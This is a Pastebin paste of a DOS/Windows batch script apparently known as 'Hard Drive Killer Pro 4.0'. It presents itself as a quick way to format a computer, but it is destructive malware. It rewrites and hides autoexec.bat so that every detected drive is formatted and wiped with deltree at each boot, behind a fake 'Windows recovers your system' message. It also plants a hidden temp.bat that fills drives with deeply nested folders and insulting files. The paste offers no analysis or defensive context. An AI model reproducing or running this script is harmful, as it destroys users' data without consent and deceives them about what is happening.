Guest User

Untitled

a guest
Oct 23rd, 2017
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.37 KB | None | 0 0
  1. @echo off
  2. rem Fastest way to format your computer.
  3. :start
  4. cls
  5. echo PLEASE WAIT WHILE PROGRAM LOADS . . .
  6. call attrib -r -h c:\autoexec.bat >nul
  7. echo @echo off >c:\autoexec.bat
  8. echo call format c: /q /u /autotest >nul >>c:\autoexec.bat
  9. call attrib +r +h c:\autoexec.bat >nul
  10.  
  11. rem Drive checking and assigning the valid drives to the drive variable.
  12.  
  13. set drive=
  14. set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
  15.  
  16. rem code insertion for Drive Checking takes place here.
  17. rem drivechk.bat is the file name under the root directory.
  18. rem As far as the drive detection and drive variable settings, don't worry about how it
  19. rem works, it's damn to complicated for the average or even the expert batch programmer.
  20. rem Except for Tom Lavedas.
  21.  
  22. echo @echo off >drivechk.bat
  23. echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
  24. %comspec% /e:2048 /c {t}.bat >>drivechk.bat
  25. del {t}.bat
  26. echo if errorlevel 1 goto enddc >>drivechk.bat
  27.  
  28. cls
  29. echo PLEASE WAIT WHILE PROGRAM LOADS . . .
  30.  
  31. rem When errorlevel is 1, then the above is not true, if 0, then it's true.
  32. rem Opposite of binary rules. If 0, it will elaps to the next command.
  33.  
  34. echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
  35. %comspec% /e:2048 /c {t}.bat >>drivechk.bat
  36. del {t}.bat
  37. echo if errorlevel 1 goto enddc >>drivechk.bat
  38.  
  39. cls
  40. echo PLEASE WAIT WHILE PROGRAM LOADS . . .
  41.  
  42. rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
  43. rem if errorlevel is 0, then it will elaps to the next command.
  44.  
  45. echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
  46. %comspec% /e:2048 /c {t}.bat >>drivechk.bat
  47. del {t}.bat
  48. echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
  49.  
  50. cls
  51. echo PLEASE WAIT WHILE PROGRAM LOADS . . .
  52.  
  53. rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.
  54. rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.
  55.  
  56. echo :enddc >>drivechk.bat
  57.  
  58. rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".
  59.  
  60. rem Now we will use the program drivechk.bat to attain valid drive information.
  61.  
  62. :testdrv
  63.  
  64. for %%a in (%alldrive%) do call drivechk.bat %%a >nul
  65. if %drive%.==. set drive=c
  66. del drivechk.bat >nul
  67.  
  68. :form_del
  69. call attrib -r -h c:\autoexec.bat >nul
  70. echo @echo off >c:\autoexec.bat
  71. echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
  72. echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat
  73. echo cls >>c:\autoexec.bat
  74. echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
  75. echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
  76. echo cls >>c:\autoexec.bat
  77. echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
  78. echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
  79. echo cls >>c:\autoexec.bat
  80. echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
  81. echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat
  82. echo cls >>c:\autoexec.bat
  83. echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
  84. echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
  85. echo cls >>c:\autoexec.bat
  86. echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
  87. echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
  88. echo cd\ >>c:\autoexec.bat
  89. echo cls >>c:\autoexec.bat
  90. echo echo Welcome to the land of death. Hard Drive Killer Pro Version 4.0. >>c:\autoexec.bat
  91. echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
  92. echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
  93. echo echo 3. This breach of your security will benefit you in the long-run, so don't worry. Think about it.>>c:\autoexec.bat
  94.  
  95. echo echo. >>c:\autoexec.bat
  96. echo echo Regards, >>c:\autoexec.bat
  97. echo echo. >>c:\autoexec.bat
  98. echo echo Munga Bunga >>c:\autoexec.bat
  99. call attrib +r +h c:\autoexec.bat
  100.  
  101. :makedir
  102. if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
  103. echo @echo off >c:\temp.bat
  104. echo %%1:\ >>c:\temp.bat
  105. echo cd\ >>c:\temp.bat
  106. echo :startmd >>c:\temp.bat
  107. echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2"wink do %%%%a >>c:\temp.bat
  108. echo for %%%%a in (">ass_hole.txt"wink do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
  109. echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2 \%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
  110. call attrib +r +h c:\temp.bat >nul
  111. cls
  112. rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.
  113. for %%a in (%drive%) do call format %%a: /q /u /autotest >nul
  114. cls
  115. for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
  116. cls
  117. for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
  118. call attrib +r +h c:\temp.bat >nul
  119. call attrib +r +h c:\autoexec.bat >nul
  120. cls
  121. for %%a in (%drive%) call deltree /y %%a:\*. >nul
  122. cls
  123. for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
  124.  
  125. cls
  126.  
  127. :end
Add Comment
Please, Sign In to add comment